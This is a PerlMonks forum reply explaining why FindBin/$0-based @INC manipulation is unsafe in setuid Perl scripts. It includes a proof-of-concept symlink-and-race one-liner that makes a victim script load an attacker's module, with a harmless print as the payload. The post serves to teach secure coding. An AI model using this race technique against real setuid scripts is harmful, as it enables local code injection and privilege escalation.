You can't trust $0. The code you provided makes code injection possible.

If you're writing a server where your attackers are remote, this isn't a problem. If you're writing a setuid script, this is a problem.

Proof of concept follows.

Victim:

$ cat ../safe/script.pl #!/usr/bin/perl -wT BEGIN { # amend @INC without taint use FindBin; my $path = $FindBin::RealBin; $path =~ /^(.+)$/; $path = $1; my $relative_path = 'lib'; unshift @INC, "$path/$relative_path"; } use Module; $ cat ../safe/lib/Module.pm print("All's well\n"); 1;

Attacker:

$ ln -s ../safe/script.pl $ cat lib/Module.pm print("Code injection!\n"); 1;

Normal run:

$ ../safe/script.pl All's well

Run with code injection:

$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; +unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01 Code injection!

Works every time!


In reply to Re^3: Taint problems by ikegami
in thread Taint problems by gayathriAthreya

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.